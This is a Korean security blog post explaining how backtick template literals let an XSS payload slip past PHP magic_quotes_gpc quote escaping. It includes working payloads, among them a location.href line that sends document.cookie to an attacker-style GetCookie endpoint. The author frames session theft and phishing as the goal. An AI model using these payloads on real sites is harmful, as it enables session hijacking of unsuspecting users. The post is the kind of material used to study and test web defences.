Tab 키 위에 존재하는 이 Backtick은
`
javascript에서는 템플릿 리터럴에 활용된다.
Backquote, backtick, grave accent 으로도 불리며 거의 접할 이유가 없는 문자이기도 하다.
그러면 왜 XSS에 Backtick을 언급한 이유가 무엇이냐 하면
보통 XSS를 발생시키기 위해 Javascript에서 기존 안의 구문에서 벗어나기 위해
"><script>alert('XSS')</script> 와 같은 입력값으로 개발자의 의도와 다른 방식으로 입력을 한다.
따라서 보통은
" , ' , <, >, %
와 같은 특수문자들을 HTML Encoding하거나 필터링하여 입력을 방지한다.
필터링을 하거나 Encoding하여 방지하면 이 Backtick은 의미가 없지만
간혹 개발자 중 php에서 magic_quotes_gpc를 활성화 시키고 %aa등과 같이 우회법에 대해서만 조치를 취해놓은 경우가 있다.
magic_quotes_gpc 은 일부 특수문자를 입력하게 되면 앞에 \문자가 붙어서 공격을 방어하는 내장 함수이기 때문에
앞선 공격구문을 사용하면
"><script>alert('XSS')</script> 이 아닌
\"><script>alert(\'XSS\')</script>이 되어버린다.
맨 앞의 \">는 꺽쇄에 대해서 필터링이 없기 때문에 기존 구문에서 벗어날 수 있지만 다음에 와서 XSS를 발생시켜 리다이렉션 또는 세션 탈취를 하기 위해 URL을 입력할 때 '나 "가 막히기 때문에 단순히 얼럿창을 띄우는 정도만 가능한 취약점이 되어버린다.
XSS의 본 목적은 alert('XSS')을 띄워 확인 버튼을 누르는 게 아니고 피해자를 공격 서버로 리다이렉션 시켜 세션을 탈취또는 피싱을 유도하는 것이 목적이기 때문에 싱글쿼터너 더블쿼터가 막히게 되면 굉장히 애매모호한 상황이 된다.
javascript에서 URL을 지칭해줄 싱글쿼터를 대신하여 /를 사용할 수 있다
location.href=/http:\/\/127.0.0.1/GetCookie?cookie=/+document.cookie처럼 사용 할 수 있는데
magic_quotes_gpc에서는 백슬래쉬에도 탈출문자가 하나더 붙기 때문에 사용이 불가능하다.
그때 싱글쿼터나 슬래쉬를 대신하여 Backtick을 사용할 수 있다.
바로 javascript의 템플릿 리터럴이 있기 때문이다.
따라서
location.href=`http://127.0.0.1/GetCookie?cookie=`+document.cookie으로 사용할 수 있다.
이게 가능한 이유는 `는 템플릿 리터럴에 의해서
(1)줄바꿈을 쉽게 할수 있고, (2)문자열 내부에 표현식을 포함 기능을 사용할 수 있어서
문자열을 나타낼 수 있기 때문이다.
다양한 우회 기법이 있겠지만 이번 프로젝트에서 사용했기 때문에 작성한다.
출처: https://flik.tistory.com/53 [Flik LAB]
'정보보안 > Web' 카테고리의 다른 글
Ghostcat : Tomcat-Ajp (CVE-2020-1938) (0) | 2020.07.22 |
---|---|
XSS로 HTTP ONLY 우회하여 세션 탈취하기 (0) | 2020.06.02 |
XSS 진단 및 Cheat Sheet (1) | 2020.01.13 |